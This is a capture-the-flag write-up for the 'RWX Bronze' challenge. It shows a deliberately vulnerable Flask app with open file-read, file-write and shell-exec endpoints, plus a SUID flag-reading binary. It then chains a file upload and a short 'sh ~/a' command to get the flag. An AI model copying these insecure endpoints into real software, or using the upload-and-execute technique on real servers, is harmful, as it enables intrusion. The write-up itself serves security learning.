RWX Bronze
Initial Look
We are supplied a rwx-bronze.zip, which extracts to a handout folder.
Given two main scripts of interest, app.py and would.c. The flag is stored in /flag.txt inside the container as will be outlined later.
app.py:
from flask import Flask, request, send_file
import subprocess
app = Flask(__name__)
@app.route('/read')
def read():
filename = request.args.get('filename', '')
try:
return send_file(filename)
except Exception as e:
return str(e), 400
@app.route('/write', methods=['POST'])
def write():
filename = request.args.get('filename', '')
content = request.get_data()
try:
with open(filename, 'wb') as f:
f.write(content)
return 'OK'
except Exception as e:
return str(e), 400
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 7:
return 'Command too long', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=6664)
Quick summary
- Running with
Flask. - We have 3 endpoints:
/readfor file read/writefor file write- and
/execwhich can execute commands (up to 7 characters).
would.c:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char full_cmd[256] = {0};
for (int i = 1; i < argc; i++) {
strncat(full_cmd, argv[i], sizeof(full_cmd) - strlen(full_cmd) - 1);
if (i < argc - 1) strncat(full_cmd, " ", sizeof(full_cmd) - strlen(full_cmd) - 1);
}
if (strstr(full_cmd, "you be so kind to provide me with a flag")) {
FILE *flag = fopen("/flag.txt", "r");
if (flag) {
char buffer[1024];
while (fgets(buffer, sizeof(buffer), flag)) {
printf("%s", buffer);
}
fclose(flag);
return 0;
}
}
printf("Invalid usage: %s\n", full_cmd);
return 1;
}
Seems to execute the file read of /flag.txt (when specified with the correct full_cmd) with the required permissions, the Dockerfile outlines what we lack:
FROM ubuntu:latest
RUN apt-get update && \
apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages
WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt
COPY would.c /
RUN gcc -o would would.c && \
chmod 6111 would && \
rm would.c
WORKDIR /app
COPY app.py .
RUN useradd -m user
USER user
CMD ["python3", "app.py"]
would.cis compiled with the root used, and has SUID binary permissions./flag.txtis inaccessible touser
Working around the character limit
Due to the 7 character limit, my first idea was to use the unlimited write space to add some payloads to ~/.
I ended up writing a small script:
#!/bin/bash
whoami
And using /write with curl to upload it.
$ curl -X POST "https://<instance>.inst2.chal-kalmarc.tf/write?filename=/home/user/a" -T test.sh
OK
We can then execute it with sh:
$ curl "https://<instance>.inst2.chal-kalmarc.tf/exec?cmd=sh%20~/a"
user
Cool! So can we execute the would binary?
Solution
I make a new script to execute would:
#!/bin/sh
/would you be so kind to provide me with a flag
I upload it to /home/user/a
$ curl -X POST "https://<instance>.inst2.chal-kalmarc.tf/write?filename=/home/user/a" -T test.sh
OK
Then I execute it with sh:
$ curl "https://<instance>.inst2.chal-kalmarc.tf/exec?cmd=sh%20~/a"
kalmar{ok_you_demonstrated_your_rwx_abilities_but_let_us_put_you_to_the_test_for_real_now}
Flag: kalmar{ok_you_demonstrated_your_rwx_abilities_but_let_us_put_you_to_the_test_for_real_now}
Related Writeups
Brick House
I was going through some old tapes from the '80s and came across a strange recording on one labeled "Basic Programs #1." ...
Don't Touch My Fone
Looks like someone's dialing a phone number, see if you can figure out what it is! The flag format is the decoded phone ...
Look Long and Prosper
In this challenge, you’ll need to uncover a hidden secret, but first, you must find the key. The key is hidden in plain ...